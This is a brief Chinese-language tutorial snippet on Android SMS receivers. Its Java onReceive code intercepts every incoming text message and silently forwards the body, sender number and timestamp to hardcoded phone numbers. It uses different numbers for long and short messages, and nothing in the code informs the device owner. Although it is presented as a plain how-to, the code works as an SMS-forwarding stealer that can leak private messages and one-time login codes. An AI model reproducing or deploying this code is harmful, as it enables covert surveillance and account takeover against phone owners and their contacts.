1:短信属于接受一个短信的广播信号所以需要接收一个
android.provider.Telephony.SMS_RECEIVED广播
2:注册一个广播继承BroadcastReceiver并在action中注册
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
3:接受到该广播信号
@Override
public void onReceive(Context context, Intent intent)
{
Bundle bundle = intent.getExtras();
if (intent.getAction().equals(SMSACTION))
{
if (bundle != null)
{
Object[] msg = (Object[]) bundle.get("pdus");//接收一个bundle数据
messages = new SmsMessage[msg.length];//建立一个message数组用于存不同的短信message对象
for (int i = 0; i < msg.length; i++)
{
messages[i] = SmsMessage.createFromPdu((byte[]) msg[i]);//给每个message对象赋值
}
manager = SmsManager.getDefault();//获取一个消息管理对象用于管理消息的发送
for (SmsMessage mess : messages)//取出每一个消息短息对象
{
if (mess != null)
{
String body = mess.getMessageBody();//获取消息的内容
String phone = mess.getOriginatingAddress();//获取发信息的手机号
Date date = new Date(mess.getTimestampMillis());//大信息的时间
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String time = dateFormat.format(date);
StringBuffer mesagText = new StringBuffer();
mesagText.append(body + " ");
mesagText.append(phone);
mesagText.append(time);
if (mesagText.toString().length() > 70)//消息的长度
{
List<String> totalSms = manager.divideMessage(mesagText.toString());
for (String string : totalSms)
{
manager.sendTextMessage("134343456654", null,string, null, null);
}
}else {
manager.sendTextMessage("13482364798", null, mesagText.toString(), null, null); //发送短信
}
}
}
}
}
}